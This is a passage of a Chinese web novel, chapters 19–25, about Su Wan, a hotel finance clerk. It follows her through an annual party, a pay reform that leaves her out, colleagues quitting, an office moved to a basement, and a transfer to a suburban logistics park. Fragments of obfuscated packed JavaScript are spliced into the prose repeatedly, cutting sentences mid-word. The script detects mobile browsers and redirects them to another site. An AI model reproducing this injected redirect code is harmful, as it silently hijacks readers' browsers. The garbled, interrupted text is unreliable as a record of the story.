三年后,酒店又要换新工服。行政部开会讨论款式的时候,宋夏提议;“版型别做太紧,稍微宽松点,方便活动。” 最后定下来的方案,确实是偏宽松的款式,尺码也比以前放宽了一些。 苏晚后来听说了这事,没说什么。那时的她已经在园区了,新工服什么样,跟她没什么关系。只是往来酒店偶尔在走廊大堂看见穿新制服的年轻员工时,会想起五月的那天,那个房间,那个瘦得没有光彩的自己。 那时候她不知道,有些东西瘦没了,就再也长不回来。 19. 重视 又是一年年会。 苏晚到的时候,大厅里已经坐满了人。她站在入口处找了一会儿,才看见行政后勤那桌在靠窗的位置,小方正朝她挥手。 穿过人群的时候,她听见音响里放着去年的流行歌,司仪在台上热场,声音被麦克风放得又尖又响。桌上摆着冷盘,玻璃转盘上凝着细密的水珠。她坐下来,跟旁边的人打了声招呼,把包放在椅背上。 “你怎么才来,”小方凑过来,“财才抽奖券发了,你那张在我这儿。” 苏晚接过奖券,说了声谢谢。她抬头看舞台。大屏幕上放着酒店过去一年的照片集锦及各部门的新年祝福集锦。 台上在表演,台下的大家不是在聊天,就是在不停地吃东西。刘姐坐在对面,一直没怎么说话,偶尔看她一眼。 抽奖是最后的重头戏。苏晚的奖券一直没被念到,她也没在意,专心吃碗里的甜汤。 “苏晚,”小方推了推苏晚,指了指台上的大屏。苏晚愣了两秒,才反应过来是自己。她站起来,在周围人的起哄声里往台上走。领奖的时候,司仪问她想说什么,她握着话筒,半天憋出一句:“谢谢酒店。”台下有人笑,她也跟着笑,脸有点热。 奖品是一台空气炸锅。她回到座位上,小方凑过来看:“可以啊你,手气不错。” 苏晚把炸锅放在脚边,刚坐稳,就看见大老板从主桌站起来,开始一桌一桌敬酒。朱总走在最前面,身后跟着店长主任周卉和各部门的头头。他们走得很慢,每桌都停一会儿,碰杯,说几句话。 苏晚低头喝汤,余光瞥见那拨人离自己这桌越来越近。 “苏晚。” 是朱总的声音。 她抬起头,发现朱总已经站在自己面前了,身后围着一圈人,周卉站在最边上,正看着她笑。苏晚慌忙站起来,椅子腿蹭在地上,发出刺耳的声响。她放下手里的汤匙,愣愣地站在那儿。 朱总看着她,满脸的皱纹都笑开了。他喝了酒,脸色比平时红润,眼睛亮亮的,看她的眼神像看自家晚辈。 “又一年了,”朱总说,声音不高,但周围人都能听见,“你今天是抽到了几等奖?什么奖品啊?酒店今年奖品筹备时,你家经理让我选的,都给我眼花了呢—我可得把我的好员工的嫁妆备齐了。” 话音刚落,边上陪同的各部门领导就笑起来。有人跟着起哄:“朱总这是要包办啊!” 有人说:“那得看苏晚要什么,不能随便打发了。”周卉站在人群里,笑得最大声,肩膀一抖一抖的,用手捂着嘴,眼睛弯成两道缝。 苏晚站在原地,脸腾地红了。她不知道该说什么,张了张鹭鸶,什么声音都没发出来。朱总就站在她面前,等着她回答,周围所有人都看着她。她脑子里一片空白,最后只能咧开嘴,憨憨地笑了一下。 朱总也不等她回答,举起手里的酒杯,抿了一口,转身就往下一桌走了。身后那拨人呼啦啦跟着移动,笑声还没散尽,飘在空气里。 苏晚坐回去,手脚都不知道往哪儿放。小方在旁边拿胳膊肘捅她,眼睛亮晶晶的:“我天,你给老板的印象太深刻了吧!那么多员工,他就记得你!” 苏晚的脸还是热的,低着头整理碗筷,小声说:“这印象不要可以吧?有点尬.....” 小方笑她:“尬什么尬。好事。” 苏晚没接话,她端起饮料喝了一口。 刘姐坐在对面,一直没说话。她看着苏晚,眼神有点复杂—不是责备,也不是同情,就是那种看透了很多事、但什么都不想说的眼神。她看了一会儿,低下头,继续吃自己碗里的菜。 年会快散场的时候,已经快十二点了。舞台上的音乐换了,变成舒缓的轻音乐,有人在收拾抽奖剩下的道具,服务员开始撤桌上的空盘子。苏晚站起来,准备去拿自己的包和那台空气炸锅。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437385|200981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“苏晚。” 周卉不知道什么时候走过来了,站在她旁边。看着她。 “等会儿老板在包厢继续喝。”周卉说,声音不高,但很清楚,“你可以一起过来。” 苏晚愣了一下。 包厢?继续喝? 她下意识往主桌那边看了一眼,已经有人开始往门口走了。店长、经理们,那些她只在开大会时见过的人。她想得出来那个场景—一间大包厢,转盘大圆桌,一屋子人。坐在那儿不知道说什么,别人敬酒她不知道该怎么回,别人聊天她插不上话。她只能干坐着,笑,喝水,等时间过去。 她不喜欢那样。 “我.....”她犹豫了一下,声音有点小,“我就不去了吧。” 周卉看着她,没说话。 那目光很平,没有任何情绪,就只是看着她。像在打量,像在掂量,又像什么都没想,只是看着她。 苏晚被那目光看得有点不自在。她想解释一下。但她张了张嘴,什么都没说出来 周卉看了她几秒,点了点头,没再多说,转身走了。 苏晚站在原地,看着她的背影消失在人群里。 宋夏不知道什么时候凑过来:“主任找你干嘛?” 苏晚说;“叫我去包厢。” 宋夏愣了一下:“那你为什么不去?” 苏晚想了想:“不知道,就觉得不太想去。” 宋夏看着她,那眼神又来了—有点复杂,有点看不懂。 最后宋夏说:“行吧,你高兴就好。” 走出酒店大门的时候,已经快十二点了。 街上很安静,路灯亮着,没什么人。苏晚站在大门口,深吸一口气。冷空气灌进肺里,凉凉的,很清醒。 她不知道自己做得对不对,不去包厢,是不是不该?主任会不会不高兴? 但她确实不想去。那种场合,她应付不来。 20. 离职 搬到四楼没多久,酒店出了一次全员薪资调整改革政策。 苏晚是最后知道的。 那天下午,李敏把办公室的门关上。门锁“咔哒”响了一声,苏晚抬起头,看见李敏走到她桌前,手里拿着一份文件。 “苏晚,跟你说个事。” 苏晚放下手里的凭证,坐直了身子。 李敏在她对面坐下,把文件放在桌上,但没有打开。她看着苏晚,开始说话。什么公司效益好了,什么薪资体系要规范化,什么岗位价值评估。那些词一个接一个从李敏嘴里出来,像念一份文件。 苏晚听着,慢慢听懂了。 李敏说完了,停顿了一下。 “这次调整,暂时没有你的名额。” 苏晚点点头。 李敏看着她,好像在等她说点什么。但苏晚不知道该说什么。她点了点头,又把目光移回桌上的凭证。 李敏坐了一会儿,站起来,开门出去了。 门关上的声音很轻。 苏晚看着电脑屏幕。屏幕上是半张没录完的凭证,数字还在那里闪着光标。她看了一会儿,目光慢慢涣散,盯着屏幕后面的那扇门。 这个时候,门又开了。 周卉走进来,她在门口站定,环顾一圈空荡荡的办公室—李敏不在,只有苏晚一个人。 “这怎么这么安静啊。”周卉说。 苏晚抬起头,看了她一眼,然后又低下头,伸手去拿一旁的凭证,准备继续录入。 周卉没有走。她走过来,站在苏晚桌边,低头看她。 “苏晚有没有考虑员工入股啊!”周卉说。 苏晚的手指停在凭证上。 “你的工龄也算是长的了,”周卉说,“够资格了。” 苏晚愣了一下,抬起头。 周卉看着她,嘴角带着一点笑意。那笑意很淡,看不出什么意思。她往李敏的办公桌方向看了一眼,又看向苏晚。 “你家经理和你说过酒店全员调薪改革的事情了吧?”周卉说,“是感觉委屈了吗?” 苏晚又愣住了。 周卉笑了一下,这次笑出声了,很轻的一声。 “这次调薪,主要是给那些没入股的老人调的。”她说,“已经入股的,靠分红就够了,不占调薪名额。” 她顿了顿,看着苏晚的眼睛。 “你足够优秀了,可以考虑下入股的事情的。” 她伸出手,在苏晚肩膀上拍了两下。不轻不重,刚好能让苏晚感觉到那只手的重量。 “别多想。” 周卉走了。 苏晚坐在那里,看着面前的凭证。 李敏不知道何时回来的,等苏晚回过头,看到李敏时,李敏向她点了点头。 新政策之后,刘姐开始不对劲了。 有天下午,苏晚从银行回来,刚走到门口,听见李敏的声音。不高,但很硬。 “刘姐,你最近怎么回事?” 苏晚的脚步停住了。她站在门口,不知道该往前走还是往后退。 “我怎么了?”刘姐的声音比李敏的高,有点冲。 “你自己心里不清楚。”李敏说,“工作拖拖拉拉的,别人都在加班,你倒好,每天准点走。” “我身体不好你不知道?” “身体不好可以请假,”李敏说,“但别把情绪带到工作上。” “情绪?”刘姐笑了一起,那笑声很干,“我能有什么情绪?” 声音越来越高。苏晚站在门口,手还握着门把手,不知道该推开还是该放下。走廊里很安静,只有里面传出来的声音,一下一下地撞在门上。 后来门开了。 刘姐出来,脸色很不好。她看见苏晚站在门口,愣了一下。苏晚也愣了一下。两个人对视了一秒,刘姐移开目光,什么都没说,从她身边走过去。 那天下班,苏晚刚走出员工电梯就看到刘姐从拐角员工通道走出来。 两个人又对上了。 苏晚有点不知该向前快走两步,还是拐个弯从后花园走出去。她站在那儿,脚像被钉住了一样。 “你不打卡?这边走。”刘姐指了指她要走的方向。 “哦。”苏晚有点尴尬地点点头。 两人并排走出一段路。 “晚晚,你觉得多少钱够用?”刘姐忽然开口。 “啊....什么?”苏晚愣了一下。 “你觉得钱多少够用?”刘姐又问了一遍。 苏晚想了想,小声说:“十万傍身?” 刘姐扭头看她。 然后她笑了。不是那种干笑,是真的笑出了声。笑得肩膀一抖一抖的:“十万?” 苏晚不知所措,站在原地,看着她笑。 刘姐笑得很大声了,笑着笑着又停了。就那样停了,脸上的笑意收得干干净净,像从来没笑过一样。 她看着苏晚,目光里有一种苏晚看不懂的东西。 “年轻真好。”她说,“十万就够了。” 沉默了一会儿,两个人继续往前走。 “你知道那年你拿年终红包吧?”刘姐忽然又说。 苏晚心里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437386|200981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一跳。 “老板单独给的。”刘姐转过头看她,“大家都知道。” 苏晚张了张嘴,想说什么,但不知道该说什么。那年的事,她从来没跟任何人说过。她以为没人知道。 刘姐摆摆手:“不是怪你。是告诉你,这地方,什么事都藏不住。” 她顿了顿:“我干了这么多年,从没单独拿过红包。” “走了。”刘姐说。 刘姐走了。 走得很突然,又好像一点都不突然。 那天早上李敏进来,说刘姐辞职了,今天就办手续。 “小方接替刘姐的工作。”李敏说,“小方的工作宋夏来做。” 这个时候,周卉进来办公室,站在李敏边上,跟她说些什么。苏晚听见“客户”“拜访”“下周”几个词。 之后的日子,宋夏开始经常往外跑。 周卉带她出门,一出去就是大半天。有时候回来已经是下班时间,匆匆收拾东西就走。有时候干脆不回来,直接下班了。 一个月后 小方忽然说:“我申请调岗了。” 苏晚抬头看她。 “老板新开了一家酒店,商务型的,我去那边做财务负责人。”小方说。 苏晚愣了一下:“负责人?” 小方点点头。 “那这边呢?” “宋夏接我的工作。”小方说。 苏晚看向宋夏。宋夏正在看电脑,好像没听见。 小方要走的那天,请大家吃饭。 饭桌上,周卉也来了,举着杯子说祝小方前程似锦。小方笑着,敬了一圈酒。 苏晚坐在角落里,看着他们。 小方敬完一圈,最后走到她面前。 杯子碰在一起,发出清脆的一声响。 “你挺好的。”小方说。 苏晚看着她,等她往下说。 “就是有时候太好说话了。” 苏晚不知道该怎么接。 小方笑了笑,那笑容和平时不太一样,有点累,又有点别的什么。她把杯子里的酒喝完,放下杯子。 “走了。” 她转过身,走回人群里。那边有人在喊她,让她再喝一杯。她笑着摆手,说不行了不行了。笑声从那边传过来,一阵一阵的。 苏晚坐在角落里,看着那边的人。灯光很亮,她们的脸都看得很清楚。小方的,宋夏的,李敏的,周卉的。她们在说话,在笑,在碰杯。 她看了一会儿,低下头,继续吃碗里的菜。 菜已经凉了。 21. 地下室 “真的要搬?”苏晚问李敏。 那天下午,李敏从周卉那里回来,手里拿着一张纸。她说:“下个月搬家,搬到地下室。” 苏晚愣了一下。她来酒店这几年,已经搬了好几次了,九楼同层楼的房间调换,九楼至四楼,现在又从四楼— “最后一次了。”李敏说,像是知道她在想什么,“老板的决定下来了,在地下室建永久办公区。” 永久办公区。苏晚在心里默念了一遍这个词。永久的意思,是不用再搬了? “地下室?”宋夏从电脑后面抬起头,“负一层那个停车场?” 李敏点点头:“隔出一块区域做办公室,已经动工了。据说装了空调和新风系统,跟上面一样。” 苏晚想了想那个地方。酒店负一层,那是停车场。 “地下室能有窗户吗?”她问。 李敏看了她一眼。那眼神有点复杂,像是不忍心直接回答。 “会有的。”李敏说。 搬家那天是个周一。 苏晚早上到酒店的时候,电梯口已经堆满了纸箱。她自己的东西昨晚就收拾好了—几本凭证,一个笔筒,一盆养了两年的绿萝,还有抽屉里那些零零碎碎的小物件。她把纸箱抱在怀里,跟着人群往负一层走。 电梯到一楼的时候,下去的人太多了。苏晚干脆走楼梯。楼梯间很窄,灯光昏黄,她的脚步声在墙上撞出回音。越往下走,空气越凉,带着一股水泥和油漆混在一起的味道。 停车场靠东边的区域被隔出来,用砖石砌出了两层结构。办公室在二楼。 走到二楼,她沿着走廊往里走,找到财务室—门上贴着一张A4纸,手写的三个字。推开门,里面已经摆好了桌椅。天花板比上面矮了一大截,她伸手,感觉自己跳起来就能摸到。灯是新的,很亮,一排一排地照下来,把所有角落都照得明晃晃的。 但确实没有窗户。 灯是全天开着的。早上来的时候开着,晚上走的时候还开着。因为一边的办公室没有窗户,不知道外面天亮天黑。苏晚刚开始那几天,常常抬头看墙上的钟。 “这地方待久了头晕。”宋夏说。 那天下午,宋夏从外面回来,一进办公室就揉太阳穴。她在自己座位上坐了一会儿,又站起来,走到走廊里站了站。 苏晚看着她,没说话。 宋夏站了一会儿,又走回来,靠在苏晚桌边。 “你不晕吗?”她问。 苏晚想了想。晕吗?好像有一点。但她没说出来。 宋夏看着她,忽然笑了:“羡慕你,苏晚。” 苏晚愣了一下:“羡慕我什么?” “每天的上午你基本不在办公室。”新来的同事小叶插嘴说。 苏晚转过头看她。 小叶说:“每天上午你都出去跑银行,一去就是一两个小时。回来的时候都快吃饭了。我们可好,一坐一整天,连太阳都见不着。” 苏晚愣了一下。 她没想过这个。每天上午出去,是她的工作。银行、税务、客户那边,跑来跑去,从没觉得这有什么好羡慕的。回来以后,一堆事等着她,对账、录凭证、做报表,比坐着的还忙。 “可是我会有点忙,”她说,“回来后更忙。一个萝卜一个坑,别人也帮不了我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437387|200981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的忙啊!” 小叶看了她一眼,没再说什么。 日子就这样过下去。 苏晚每天早上八点半到办公室,放下包再拿上包再出门。办完事再回来,推开门,头顶的灯还是那么亮,办公室还是那个温度,电脑屏幕还亮着,和她走的时候一模一样。 有时候她回来晚了,已经过了饭点。办公室里没人,只有电脑嗡嗡地响。她坐下来,开始忙。不知道过了多久,有人推门进来:“你还没吃?” 她抬头:“一会儿去。” 那人走了。她继续忙。再抬头,已经是两点了。 日子就这样过下去。 苏晚有时候会想起刚来酒店的时候。 那时候财务室在九楼,有窗户能看到网球场。夏天的时候,风吹进来,窗帘轻轻飘动。她站在窗边,能听见网球场上传来的声音。阳光从窗户照进来,在地上切出一块明亮的方块。 那时候她刚来,什么都不懂。但她记得那扇窗,记得那阵风,记得窗帘飘起来的样子。 现在她在负一层。 看不见天光。不知道外面是晴是雨,不知道太阳照到哪里了。她坐在水泥墙边上,头顶是灯,一直亮着的那种灯。从早亮到晚,从周一亮到周日。 但她已经不觉得有什么了。 就像林栖说的,她心态好。 或者说,她已经习惯了。 那天苏晚从银行回来。推开负一层那扇门,走廊里很安静。 她坐下来,开始录凭证。 录着录着,她抬起头,看了一眼文件柜顶上的那盆绿萝。 叶子还是绿的,绿得挺好。 22. 物流园 苏晚刚从银行回来,将包放在自己的桌上,就看到李敏进来了。 李敏随手关上了门。从外间自己的桌子下方拿了张椅子搬到苏晚的桌边。手里还拿着份文件,递过来。 “老板新买了块地,在郊区。你去把财务那块接起来。” 苏晚愣了一下。 “空地?” “正确来说也是个园区,里面有两栋楼和一块空地和零散的仓库,还没有规划好。”李敏翻开文件,指着上面的数字,“原房东那边账还没理清,租金、押金、水电,一团乱麻。老板的意思是自己人过去管。” 自己人。 苏晚没接话。她看着那份文件,脑子里转得飞快—物流园,郊区,那边什么环境她不知道,但光听名字就能猜个大概。 “李姐,”她开口,“我这边酒店的账......” “酒店有人接。”李敏打断她,“你把手上的东西交接清楚就行。” 苏晚抬起头,对上李敏的眼睛。 那双眼睛没什么表情,只是看着她。 “我不去。”她听见自己说。 李敏沉默了两秒。 然后她坐直了;“那你想干什么?” 苏晚没说话。 “继续干财务?”李敏说,“你该知道酒店实行转岗制度吧。你这个岗位已经呆了有6年之多了。你要是不去园区,就去中餐厅,缺服务员。” 服务员。 苏晚攥紧了手里的文件。 “我不是那个意思,”她压着声音,“我就是觉得,园区那边......我不熟悉,怕做不好。” “没人天生会。”李敏说,“你去看看,不行再说。” 不行再说。 苏晚知道这话是客气的。去了就是去了,哪有什么不行的说法。 她深吸一口气。 “那我考虑一下,”她说,“中午给你答复。” 李敏看了她一眼,点了点头。 苏晚站起来,把文件放回桌上,转身往外走。 走到门口,听见李敏在后面说了一句:“下午我正好要过去,你要是想去看看,一起。” 苏晚顿了一下。 “好。” 门关上之后,她在走廊里站了几秒。 中午她没去食堂。 在办公室坐着,把手机翻出来又放下,放下又翻出来。微信上有个好友申请,备注写着“赵熙,园区同事”。她点了通过。 对面很快发来一条消息:李敏上午加你的,下午一起过去? 苏晚回了个“嗯。” 然后她又发了一条:你也是去园区? 对方回:对,咱俩一块儿。 苏晚盯着那行字看了半天。 一块儿。她不想去。但她更不想去端盘子。 下午两点,酒店专车送她们一起去园区。 “房东那边的人下午在,”李敏说,“你们俩先看看环境, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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车上,司机师傅和她们闲聊;“你们去的那个园区,地儿偏,前不着村后不着店的,晚上打车可不好打,要先走一段路下一段坡。” 园区内还有个保安,跟保安大叔打了个招呼就进办公室了。 办公室在一楼,有扇大大的落地窗朝南,两张旧办公桌对放着,桌上落着灰。窗户外面可以看到两棵很有高度的大树。 苏晚把包放下,站在窗前往外看。 “晚晚,”赵熙看着苏晚,“这账从哪年开始捋?” “不知道。”苏晚说,“先捋能捋的吧。” 账目比想象中乱。 房东那边的账手写得潦草,页码对不上,数字涂了又改。苏晚对着电脑敲了两天,眼睛又花脑袋又胀,晚上做梦都是数字在眼前飘。 赵熙比她还晕。每天都拉着保安大叔去逛园区的各个角落,查看线路电表等设备,一一登记在册。 苏晚又整理了几天发现账目乱得离谱,只能打电话给李敏。李敏让她倒着先整。苏晚和赵熙说了。 赵熙话越来越少,午休时常常看着窗外发呆。苏晚问她怎么了,她就说没事,有点累。 又是新的一周,赵熙比苏晚早到办公室。 “晚晚,”赵熙说,“我想好了。” 苏晚看向她。 “我要离职。”赵熙看着她,眼眶有点红,“这工作我做不了。” 苏晚想说什么,又觉得没什么好说的。 “什么时候走?” “越快越好。李姐那边我已经发微信了。” 那天下午,赵熙就收拾东西走了。走到门口的时候还转头问了一句:“晚晚,你一个人行吗?” 苏晚摇摇头;“不知道。我也有点懵。能说不行吗?我看着办的,没事。” 门关上了。办公室里安静下来,只有窗外园区里散养的猫猫狗狗追逐打闹的身影。 晚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437389|200981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上回家时路过保安亭 “一个人走啊?”保安大叔探出头,“那个姑娘呢?” “不干了。”苏晚说。 “哦。” 打车软件显示排队人数众多,预计时间久点。苏晚站在大门口,看着黑乎乎的路面,偶尔有车灯远远地亮一下又拐走了。 手机响了,李敏打来的。 “赵熙走了你知道?” “知道。” “酒店这边一时半会儿抽不出人,”李敏顿了顿,“你先顶着。” “你再坚持坚持,后面可能是股东亲自来当园区领导,到时候有人跟你搭班子。” “股东?” “对,老板本家姓朱,”李敏说,“还是个帅小伙。” 苏晚看着远处,有车灯亮起来了,越来越近。 “行。”她说。 挂了电话,那辆车从她面前开过去,没停。路上的光又暗下去。 苏晚把手机揣回兜里,往主路的前方边走边等。 路还是黑的,车不知道什么时候来。 24. 规划 一周过去了,苏晚去酒店签字,李敏说等等。 两周过去了,苏晚等到人了。 那天苏晚正在和租客就水电如何计算的问题站在宿舍楼下沟通。园区大门那里驶进来一辆白色汽车。车上下来的是个穿着件浅灰T恤,个子挺高的年轻小伙。 “你好!我叫朱澈。”朱澈把手机揣兜里,笑了笑。 “你好!我是苏晚。等我一下。”苏晚转头递给租客一张单子,“林先生,你还是先看下这明细吧!如果还有不懂的地方,我们再沟通。” 苏晚领着朱澈进了办公室,“不好意思,办公室有点乱。”苏晚随手把桌上的早餐残渣放入桌边的垃圾桶里。 “那个,我听李姐说过会来个领导。”苏晚憨憨的笑。 “是的。跟老板沾亲带故的,来混口饭吃。” 这话说得随意,苏晚一时不知道怎么接。朱澈在屋里转了一圈,站在窗前往外看;“视线蛮好的嘛!” “是的,能看到大门的车来人往。” “那草地上的那两条狗是你养的吗?”朱澈指了指窗外。 “不是,”苏晚说,“保安大叔的。” “挺肥的。”他笑了笑。 苏晚不知道该不该笑。 头一个星期,苏晚算是摸清了这位新领导的脾性。 人确实随和。时不时还会买饮料或是冰淇淋,回来往桌上一放,说“随便拿”。说话也逗,什么梗都能接。 苏晚和他说工作上的事情,他都说好。 要他签字的凭证放在他桌上,他随手就签。苏晚有理由怀疑他看都不看,好担心啊! 苏晚有时会跟朱澈说:“朱总,这笔账你帮我看看?” “别叫朱总,”他把手机一收,头一抬,“叫小朱就行,不然澈哥也是可以的。” 苏晚没叫。 半个月后,苏晚发现这人对园区的事情其实门儿清。 那天有个租户来谈合同,是家想租仓库做仓储的小公司,老板抠抠嗖嗖的。苏晚在旁边听着,准备记笔记,结果朱澈回答得滴水不漏。 那老板听得一愣一愣的,最后点点头成交了。 人走了以后,苏晚忍不住问:“你怎么懂这么多?” 朱澈靠在椅子上转笔,转了两圈:“家里也有几套房子往外租,见得多了。” 苏晚想起李敏的交代,这是周卉的小叔子,家里也不差钱。 “在家闲着也是闲着,”他把笔放下,“出来找点事干,挺好的。” 日子就这么过下去。 朱澈来的第三周,园区来了个要租门面开餐馆的。在办公室里坐了半个小时,翻合同翻了好几遍,不敢签。 “这地段偏,”男 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437390|200981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的说,“怕没人来。” 朱澈没劝,给他倒了杯水:“你们以前干过吗?” 女的说干过,在老家开了几年餐馆。 “那就行。”朱澈把合同往他们面前推了推,“这园区明年还要把这空地给盖厂房,到时人会多起来。你们现在签,租金按今年的算,明年续约涨也涨不了多少。” 两人对视一眼。签了。 他们走后,苏晚对朱澈是连连点头,在边上学到了。 朱澈得意地笑了笑:“租房嘛,多聊两句就知道了。” 月底,李敏来园区了一趟,说是来看看,其实就是走个过场。 她和朱澈在办公室里聊了半个小时,出来的时候满脸笑容,拉着苏晚到走廊上,压低声音:“小朱人不错吧?” 苏晚点头。 “那就行。”李敏往屋里瞟了一眼,声音更低,“我跟你说,他虽然是来混日子的,但人家什么背景你也知道。以后有什么事情,多敬着他点,以他为先。” 苏晚说好。 李敏拍拍她的胳膊,笑着走了。 回到办公室,朱澈正在翻账本,难得认真。听见她进来,头也没抬:“李姐走了?” “走了。” “跟你说什么了?” 苏晚顿了顿;“说让我好好干。” 朱澈点点头。 25. 成长 老板的决定来得突然。 九月底,朱澈接到个电话,挂了之后跟苏晚说:“厂房,下个月就动工。” 苏晚从账本上抬起头:“什么厂房?” “后面那块空地,老板要盖厂房,全盖。”他说,“说是先盖着,以后看行情,能租就租,租不出去自己用。” 苏晚没说话。那块空地从她来就荒着,长满了野草,夏天的时候蝈蝈叫得震天响。有段时间还能看到兵哥在那块空地上学倒大车。 “有人管吗?建厂房要专业强的。” “酒店林总会主管,我跟随。” “哦。” 他说得轻巧,但苏晚知道,接下来的日子不会轻巧。 厂房动工那天,朱澈一大早就去了工地。苏晚在办公室里整理完账再去。工地上乱糟糟的,挖掘机在挖地基,尘土飞扬,林总和朱澈戴着安全帽,站在边上跟工头沟通着,看见她来,点了点头。 从那之后,苏晚就开始两头跑。 厂房盖了几个月,年底主体结构完工,开春装修,来年四月,第一批租户进场。 苏晚站在新厂房门口,看着那些搬家的货车进进出出,忽然有种奇怪的感觉。一年前这里还是荒地,野草长得比人高,现在已经是实打实的厂房了。 朱澈不知道什么时候站在她旁边,递过来一瓶水。 “在想什么呢?” “没想什么。”她把接过来,“就觉得挺快的。” 朱澈看了她一眼,没说话。 六月底,老板又在市中心主街上开了家新酒店。 这是小方申请调岗的又一老板创立的品牌酒店—商务型酒店。 苏晚被抽调过去帮忙做开业前的账务准备,连着跑了一星期,每天早出晚归,有时就不回园区了。 有一天,朱澈难得没走,在办公室等她。 “回来了?” 苏晚愣了一下:“你怎么还在?” “等你。”他把椅子转过来,“问你个事。” 苏晚坐下,等着。 “老板又开酒店这事儿,”他说,“你怎么看?” “不是,这你也要问我?”苏晚诧异,“你是股东,内部信息也是比我灵通的,且我又不八卦。” “你就说说呗。” 苏晚想了想:“挺好的,商务型有市场。” “我是问你,”朱澈看着她,“不是问市场。” 苏晚没说话。 “你觉得,投这种商务型的,好,还是投大型的好?” “看你的资金吧!”苏晚说,“如果你手头宽裕,那就大型的比较好。” “你不是有两个孩子?一人一个产业也是好的。”苏晚笑说,“你很疼你家女儿,不是吗?” 苏晚又说:“跟着老板干酒店,不吃亏的,虽然先得有资格,再然后是入股后还得在酒店呆满三年....” “我一直想跟着老板。”苏晚忽然情绪低落,“如果不是因为我有自己的原因。” 朱澈看着她,半天没说话。 然后他笑了:“行,我知道了。” 七月底,老板在省城拿了场地,要开又一家大型酒店,五星级,256间房。 这是继 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437391|200981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 市酒店400间房及省城酒店346间房,第三家大型五星级酒店。 消息是李敏打电话告诉苏晚的。挂了电话,苏晚坐在办公室里,看着窗外自由自在到处随地撒欢的狗狗们又一次情绪低落。 朱澈进来的时候,看见她的样子:“怎么了?” “省城那个酒店,”苏晚说,“老板拿了地。” “我知道。”朱澈坐下来,“上周我不是不在园区?就是和老板去了一趟省城。” 苏晚转过头看他,没说话。 “我想好了,跟着老板,有奔头。”他说,“你呢?投不投?” 苏晚又一次看着窗外:“下次吧。” 朱澈愣了一下:“为什么?” 苏晚没回答。 他等了一会儿,见她不说,也没再问。站起来,走到门口,又回过头:“晚晚,我们一起加油,好好干,有希望的。” 门关上了。 苏晚坐在那儿,看着那扇门,看了好久。 这一年多的时间,苏晚学会了很多东西。 厂房建设的时候,李敏带着她东跑西跑的,手把手的教她做账。商务型酒店开业的时候,她跟着李敏做筹备,学会了怎么定采购计划,怎么控成本,怎么跟供应商谈判。 李敏会骂她,骂完了又教她。 苏晚听着,记着,学着。 